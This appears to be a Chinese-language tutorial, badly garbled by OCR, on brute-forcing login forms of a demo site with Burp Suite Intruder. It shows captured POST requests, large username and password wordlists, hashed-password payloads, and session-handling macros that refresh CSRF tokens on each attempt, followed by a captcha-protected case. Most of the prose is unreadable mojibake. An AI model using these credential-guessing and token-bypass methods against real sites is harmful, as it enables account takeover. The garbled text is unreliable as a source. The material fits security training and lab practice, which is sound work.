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# brute demo.com

XSS+ Encryption- Encoding- Other
@ Load URL
M gplit URL
0 Execute
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This user does not exist!

Epe: AR A A L

Password mistake!
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BB, 4!

Accept-Encoding: gzip, deflate
Accept-Language: zh-CN, zh;g=0. 8
& quhk28cmdkrsfeul 92pTktmetT]

[Tl

username= % gue § &password=quedsubm i t=%ET7%99%BB%ES%ED%95

Target Positions Payloads T Options ]

@ Payload Sets

You can defing one of more payload zets. The number of payload sets depends on the

each payload type can be customized in different ways.

Payload set: [1 |'J Payload count; 930,759

Payload type: [Simple list |vJ Request court: 930 759

@ Payload Options [Simple list]

ligigi

ligian
ligigo
ligibai
ligibang
ligibao

ligibei

SR U5 PR R P 48 ok L A B T

0x02 jsiin & i & 5.5 F IR

H WHSEE I ZE R A : md5. base64. shal

Reu Status | Errar

7 200 O

0 200 O

1 200 O

2 g 200 O O 1746
3 i 200 O O 1746
4 qoigi 200 a a 1746
5 gpopop 200 O O 1746
] admin 200 a a 1746
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J Intercept | HTTP histary | WiebSockets history | Options |

;@’ (n Reqguest to hitps: ey brote_demo.com 443 [192.165.5.24]

[ Farward J l Drog J [ Intercept is on ] Action o () FRHEERISEMES <
J Rz T Params I Headers I Hex ] é X .3 T httpif.

POST /brute_2. php HTTR/1.1 e O e Ok, B’J"l\e

Host: wwwy. brute_demo. com
Proxy-Connection: keep-alive
Content-Length: B2

Cache-Control: max-age=0

Origin: http://vwwn. brute_demo. com VT ri N
Uperade-Insecure-Requests: 1 %jj ﬁﬁﬁ?{lﬁl % &?‘
User-Agent: Mozilla/5. 0 (Windows NT 5. 2) AppleWebkit/537. 3¢ -
Content-Type: application/x—wwn—form-urlencoded

becept: text/html, application/xhtml+xml, application/xml; q=C 1 a
Referer: http://wwn. brute_demo. com/brute_2 php Hﬂ K%jﬁf E{Jﬁﬁﬁﬁﬁﬁ ):I
hccept-Encoding: ezip, deflate

Accept-Language: zh-CN, zh;g=0. 8 i%ﬁﬁ"q1ng"ﬁ?ﬁﬂﬁ§?ﬁ@ﬁ%

Cookie: PHPSESSID=quhkZ8cmdkrsfcul 92pTktmct?

username=qiingkpasswold=4207F44h13055235248b24897399d7a9388L
BRER

APE gqiing

D —

() oRmENREREE B SES,

i

RARFERFBATT ZH BT AN, 5 ERA X %8 1 payload 4T AH B 50 E 4w A5 o

Attack type: l Sniper

POST /brute_2 php HTTP/1.1

Host: wwew. brute_demo. com

Proxy-Connection: keep-alive

Content-Length: 81

Cache-Control: max-age=0

Origin: http:/Awew. brute_demo. com

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5. 0 (Windows NT 5.2) AppleWebKit/537. 36 (KHTML, |ike Gecko) Chrome/58. 0. 3029 110
Safari/537 36 SE 2 X MetaSr 1.0

Content-Type: application/x—www—Form-urlencoded

becept: text/html, application/xhtml+xml, application/xml;q=0. 9, image/webp, */*;q=0. 8
Referer: http://wwn. brute_demo. com/brute_2 php

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN, zh;q=0. 8

Cookie: PHPSESSID=quhk28cmdkrzfcul 92pTktmct?

username=qing&password= § 202ch862ac59075b864b07152d234070 §ksubm it=%ET%99%BB%ER%BD% 595

DAEFER AT RANEG TR, ERETDT RN, EFEmASINE T 0 & T Bk AT i A



Paste Twé ACMIN Fy
admint 2
Lo ... adminggg
— | adming
Remove i 4
admin? 23
—— | sy=sadmin
Clear S "Add payload processing rule
admin: S . .
Erter the detailz of the payload processing rule.
Al Enter 2 new ftem

[Add from list ...

J Payload Processing

You can defing rules to perform various proces

Adld ] Enabled | Rule o

Eclit

S

¥

| Remove

N Intruder attack 4

Attack Sawve Columns

JResurts T Target T Positions T Payloads T Options ]

Fitter: Showing all tems

Comment

bazeline request
R PR Ty Bl LA L P
3217241 50e305c 7 d Gd4b0s59... 200
BES71h9h1 ab33h0534c4550540... 200
43759911 ea3s! 4f596911 61a660... 200
efef3951 279251 b2e9ef32071h... 200
Ob49939d641 5354095001 42500, 200
Obdefalesfeddad3sfhafishce.., 200
M 232297 a5 Tada7 43894a0ed4a... 200

ooooooodoo| 2
ooooooodoD

0x03 7 token3 ilF i) & B & F IR0



brute demo.com

SQL- XSS+ Encryption: Encoding- Other
f Load URL
U split URL
© Execute

M Enable Post data [l Enable Referrer

F N RRZEKRSEC By il

BtokenIGIFRRPE FIR
R qing" FE P X R FE 45 55

BREp

BRE | |

=5 | |

ER

KRN AR MokenRE R B —EIRL, REREZIME—Kitokenft, J& & HEUCRBEHEN X FIHT T tokendd,
B bR BB R RAZAEM . csrf.

br

input id="password” name="password"” type="password
br

br
<input name="user_token' wvalue="3c39bb32f5bh8bcadclafled2d2@3V86c™ type=' 1idden™>

TR0 JR T 175 P B SR A R T T B3R A5 o tokenfE 4 7T AR AE, W] LA A burp B %

1. H#Aoptionsi#EHi, #FEsessions

2. B—f session handing rules, E#Hsession handing rules editorF#gAruleffi45E, FEHN—
A .
T~action



Burp Suite Professional vl Gbeta — licensed to LarryLan

Burp Intruder Repeater ‘Window Help

[ Target I Prozy I Spider I Scanner I Irtruder I Repeater I Sequencer I Decoder I Comparer I Extender T Options T Alerts ]

[ Connections T HTTP T S5l T Sessions T Display T hizc ]

2| Session Handling Rules

G You can define session handling rules to make Burp perform specific actions when making HTTP requests. Each rule has a defined scope (for particular tools, URLs or g
perform actions such az adding session cookies, logging in to the application, or checking session validity. Before each request iz izsued, Burp applies in zequence eact
in-zcope far the request.

| Description Tools

Use cookies from Burp's cookie jar Spider and Scanner

Remowve

Duplicate
L |

Daravn

,_
LI

To manitor or troubleshoot the behaviar of your session handling rules, you can use the sessions tracer to view in detail the results of processing each rule.

[ Open sessions tracer J

7E A5 drAdd 78 Hi 19 56 8 7 3% #8run @ macro (i & —1~27)

Session handling rule editor ﬂl.
Dietails Soope 1Session handling action editor — token

? Rule Descriptiun | This action runs & predefined macro (sequence of requests) and optionally updates parameters and cookies in the currert request base
~ the macro.
token
Select macro
Addd
Ediit

@ Rule Actions

The actions below wil

Aol Enahble

Mote that the request currently being processed by this session handling rule will still be izsued, 20 the macro shauld not include this rec

Ediit . L
necessary to izsue it twice.

Remave [ Updste current request with parameters matched from final macro response
Up ® Update all parameters except for:
—_ Edit
Daravn
- (L) Update only the following parameters:;
Edit

] Talerate URL mistmatch when matching parameters (use for URL-agnostic CRSF tokens)

[ Update current request with cookies from session handling cookie jar

(® Update all cookies except for:

Eclit

() Update only the follovwing cookies:

ZJE RN — 12 (e drAdd)



- Burp Suite Professional vl.Bbeta |
(2) Macro Recorder

EJ Macro Editor

will need to ensure that proxy interception is turned off.

Uze the configuration below to define the tems that are incluc

Select the tems from the proxy history that you wizh to include inthe macro, and click "OK". Mote that to record a macro noww LSing your Brovwser you

Intercept iz on

wearking correctly | Fitter: Hiding CS3, image and general kinary cortent li
o d oa ‘ Host | iethod | URL | Params ‘ Edited | Status | Length | IME type | Extension
Macro description. | Macro 2
1 hittps: dhvewee brute_dema.com POST forute_1 php ] O HTML php
Macro tems: 2 hittps: it ey S000ULCoM GET Myebsearchifesturesiuni jsprpid=sog... ] O HTML j=p
3 hittps: #vinci je.sogou.com POST Is¥h=71358A4E3E430BAB356F COOEF ... (] (0] 200 334
# | Host | Method 4 hittps: e birute_dema com GET ! O (@]
2 hittps: it ey S0QOLLCOM GET Mvebzearchifesturesiuni jspipid=sog... 4] (] 404 T2 HTML =n
B hitts: ey bFute_demo.com POST farute_2 php 4] (] HTHL php
T hittges: A s SOG0U GO GET Mevebsearchifesturesiunt jsp?pid=soy... 4] (] 404 T2 HTML jsp
g hittps: Sevvwwe brute_demo.com POST Torute_2 php ] O HTML php
LS
Request | Responze ELS v e
Raw  Hex

@ u u u Twe & seaveh term

W &3 H BT E: macro recorderflmacro editor

B b &macro recorder W, 1€/ 7 ZH HlproxyHH#Fhttp history—#

"Iacro Becorder — Bacro 2

2| Macro Recorder

Select the items from the proxy history that you wish to include in the macro, and click "OR". Note that to record & macro now using your broveser you

will need to ensure that proxy intercegption is turned off.

Irtercept is or

| Fitter: Hiding C5%, image and general binary content

C

HAET X (& RKEF N -

* A | Host | hdethioc | URL | Paramz | Edited | Status | Length | MIME type | Extensit
1 hittp: e brute_demo com POST rute_1 php [} a HThL php

2 https: it ey g0gou.com GET rvebzearchfeatureshunt jsp?pid=sog... [} a HTHIL i=p

3 hitps: dvinciie sogou.com POST fsth=71558A4E3E45DEBABSSEFCDOBF ... [ O 200 334

4 hittp: e brute_demo com GET i a a

H https: it ey g0gou.com GET rvebzearchfeatureshunt jsp?pid=sog... [} a 404 712 HTHIL i=p

B hittp: e brute_demo com POST rute_2 php [} a HThL php

T https: it ey g0gou.com GET rvebzearchfeatureshunt jsp?pid=sog... [} a 404 712 HTHIL i=p

g hittp: e brute_demo com POST rute_2 php [} a HThL php



(1) RELFIE#, FKEburpsuitelfE=Ei#s

(2) JFHZFTHIERLR, TFE— TSI Eas (B 1L IR A=)

(3) I ERTE, VRS TLUEZINFE_csrfZ4, HHIZZ

Burp Intruder Kepester wandow Help

[ Taroet T Procy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Caomparer T Extender T Options T Alerts ]

Irtercept HTTP histary T WiehSockets history I Options ]

‘ Filtter: Hiding C5%, image and general binary content

|Params |Ed'rted |Status |Leng‘fh |MIMEtype Ext

O [ 200 1768 HTML ohe
& ] 200 1194 HTHL j=p

hittp: Mhaeaewy brute_dema.com forute_3 php

guresiunt jsptpid==og. .

" FHERRREARST X |
« O Y- o/ Awanw brute_demeo.combrute_ 3 php & Y1 ~

b - DFEesn Owmen E)ixe THE BEE—T, EIPHiEE

& NIRRT SE IR 2R By )

A tokenZR Uk A% .5 R BE
R qine” P A A ED

ERER

(L ctrEEFHIT HigetiFK, MoK



@ Macro Recorder

Select the tems from the proxy history that you wish to include inthe macro, and click "OK", Mote that to record & macro now wzing your browvwser you

will need to ensure that proxy interception is turned off.

Intercept is off

| Filtter: Hiding C3%| image and genersl binary content

2

# .|.| Host | Method | LRL Params | Edited | Statuz | Lencth | MIME type | Extension

19 Fittp: ey birute_dermao.com GET | Tarute_3 phg O O 200 1765 HTHIL faly]

20 Fittp: Akt sy S0QOL COM GET Mvebsearchifeaturesiyuni jsp?) 500, # O 200 1194 HTMIL j=p
ELS J \ Yr
J Request T Response ] \

J Fiaray T Paramsz I Headers I Hex ]

GET Fbrute_3 php HTTP/1.1 A

Host: wwew. brute_demo. com r

Proxy-Connection: keep-alive

Cache-Control: max-age=0

Uperade-Insecure-Requests: 1

User-Agent: Mozilla/5. 0 Windows NT 5 2) AppleWebkit/537 36 (KHTML. |ike Gecko) Chrome/58. 0. 3029 110

Safari/637. 36 SE 2. ¥ MetaSr 1.0

becept: text/html, application/xhtml+xml, application/xml;g=0. 9, image/webp, */*;g=0. 8

Referer: http:/fwn. brute_demo. com/brute_3. php?c=logout

hccept-Encoding: gzip, deflate, =dch

Accept-Language: zh-CN, zh;g=0. 8

Cookie: PHPSESSID=quhk28cmdkrsGeul 92pTktmet]
-
v

? = + = Tipe g segrch term 0 matches

WBImacro recorder W Bj &M, #H Amacro editor [

Ok Cancel



Wuacro Editor

@ Macro Editor

Use the configuration below to define the tems that are included in the macro, and the order they will be issued. You can configure howe parameters and cookies are handled for each tem. You can also test the macro to confirm it is
working correctly.

Macro description: | Macro &

Macro tems:
3 | Hast | Method | URL | Status | Cookies received | Detived parameters l Configure item J
1 it Sy bt ute_demo com GET Mrute_3 php 200

Mowve up
Mowve down

< v e Remove item
Reguest Response

Raw | Params | Headers | Hex

GET /brute_3. php HTTP/1.1 &

Host: wawy brute_demo. com

Proxy-Connection: keep-alive

Cache-Control: max-age=0

Uperade-Insecure-Reguests: 1

User-Agent: Mozilla/5 0 (Windows NT 5 2) Applelebk it/537. 35 (KHTML, |ike Gecko) Chrome/58.0. 3029 110 Safari/637 36 SE 2 X MetaSr 1.0

Accept: text/html, application/xhtml+xml, application/xml:q=0 9 image/webp, */%:0=0 8 S
Referer: http://wwn. brute_demo. com/brute_3. php7c=logout Re-record macro
Accept-Encoding: egzip. deflate. =sdch

Accept-Language: zh-CN, zh:g=0. 8

Re-analyze macto
Cookie: PHPSESSID=quhkZ8cmdkrsfcul 92pTktmctT v
? = + = Tipe 2 search tetm 0 matches Test macro

A AERRENRE G FHRBREZRKZE)
M 70K, [B]Zaction editor R, #%#EH & thitoken=#

Session handling action editor — Eunle 3

| This action runs & predefined macro (sequence of requests) and optionally updates parameters and cookies in the currert reques
~ the macro.

Select macro

Aol Macra 6

Edlit

Mote that the reguest currertly being processed by this session handling rule will still be issued, 0 the macro should not include tl
necessary to izsue it twice.

[ Update currert request with parameters matched from final macra responze

(L) Update all parameters except for;

Ediit
(® Update only the following parameters: -

user_token W

] Tolerate URL mismatch wwhen matching parameters (use for URL-agnostic CRSF tokens)

[ Update current request with cookies from session handling cookie jar

(® Update all cookies except for:

Eclit

() Update only the following cookies:

[Fl #frule editor R, HEFEscopel, HEFEUZHIIEH %



’Session handling rule editor

2] Tools Scope

Select the tools that this rule will be applied to.

[ Target [ Scanner ¥ Repeater
[ Spicer [ Irtrucler ¥ Sequencer
] Extender ] Proxy (uze with caution)

LEJ UBRL Scope

Use the configuration below to cantrol which URLs this rule applies to.

) Include all URL=
() Usze suite scope [defined in Target tab]

(® Use custom zcope

Include in scope

Enabiled Protocal Hozt FIP range Part

—

Sdd J

File

Eclit

Paste URL

Remove

Load ... J

—

Exclude from scope

l A J Enabiled Protocal Hozt FIP range Part

File

Eclit

® Usze custom scope

Include in scope

Frange

| ok ||H

http it birute_demao.comibr ...

Remove

U FENTBESE T8 T E g token, BIA] L Z—1MFRER KX,

ZFEENTH T -

#Eintruder BIiE, A9, FNIRKHEANT AT LIRS BFGH{TARIE T~

FE K H B R B token I BEburpsuite



‘lIntruder attack 15

Attack Sawve Columns

j Results T Target I Positions I Payloads I Options ]

Fitter: Showing all tems

Request | Payload | Status | Errar | Timeout | Comment
3 123456 302 1925
200 baseline request

a O
] O ]
1 123 200 O [ 333
2 123123 200 O [ 333

0x04 A fi 5. 56 UF A% ) R B0 B AR

X — SRR RS ) R BB~~~ HI IR il 3, AW EREFA, Fr S RIERBATERE LR B K E
P8R Ja 7 238 K B,

Q ErEmEEEsds X +

# brute_demo.com

XSS+ Encryption- Encoding- Other
@ Load URL
U split URL
© Execute

M Enable Post data [ Enable Referrer

FDRRRRRZE R ESEC By M

BiEBIGIHENRPERIRE
&8 qing" BB XN B & 5560

BREp

P - |qing |

=4 |llllll |

wir oz | R 5, 5

B

BATAT AH pkavily B =4 8%, IBGEREJE, 7203550 & Z R R S ARB R BIER, 574 05E X
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iEAE:

23 (R) |

POST /brute_4.php HTTF/1. 1
Host: wwnr, brute_demo. com

hocept: text/himl, application/zhtml+xml, application/sml;q=0.9, #/+ q=0.8
Accept—Language: zh—CHN, zh:g=0. &, en-1U5;q=0. 5, en:q=0. 3

Accept—-Encoding: gzip, deflate

Content—-Type: application/z—www—form—urlencoded

Content—Length: 65

Feferer: http:/ www. brute_demo. com/brute_4. php

Cookie: PHPSESSID=3gthldkkqlqgodohoiThrb83d3T

Cormection: closze
Tpgrade—Inzecure-Req

nzername=qinghpazsworfl= § 123125 § holleckl FEXEGYED% 05

Tzer—-dgent: Mozilla/5.0 (Windows NT 10.0; Winfd: =f4d; rw:56.0) Gecko/20100101 Firefox/BA.0

EAHEE ) || IR Iu i FIMERE @ | Eihﬁnia © | sxaze |

Aic B 56 UEAS R 5l

T

B

[EEsz-

M a3

I!\=<>?
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Ihttp:ffwww. brute_demo. comfvaildeode. php

HtiEFREER:
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THEE EREsrEng [FERZEIENE | S | Eas | THRN|

—HI TR Sk &R

W &BConnection: close

SRR
O SRR
i AR RE=ES
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rirh = === =1
Tt iREREER
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—BRE

EH,: Iwww.brute_demo. com =0 I an ﬁ ' {E
=]
g &5 | T & it |
R 2 | wE N L
5182 200 = ES 418
200 = = .
200 = = 1512
44 123a=d 200 = = 1512
B3 whaa! 200 = = 1512
143 chinared 200 = = 1512
179 hdcklr 200 = = 1512
1 admin 200 = = 1513
3 adminl 23 200 = = 1513
5 admi o 200 = = 1513
& adminx 200 = = 1513
9 baze 200 = = 1513
11 root 200 = = 1513
12 roots 200 == == 1513
18 test? 200 & & 1513
28 aaaaaaaa 200 e e 1513
0x05 4 gt T O 4 Ju k17 12

X A R 15 B AR B S AR A el R~
BB H %15 A caigou200010086~~
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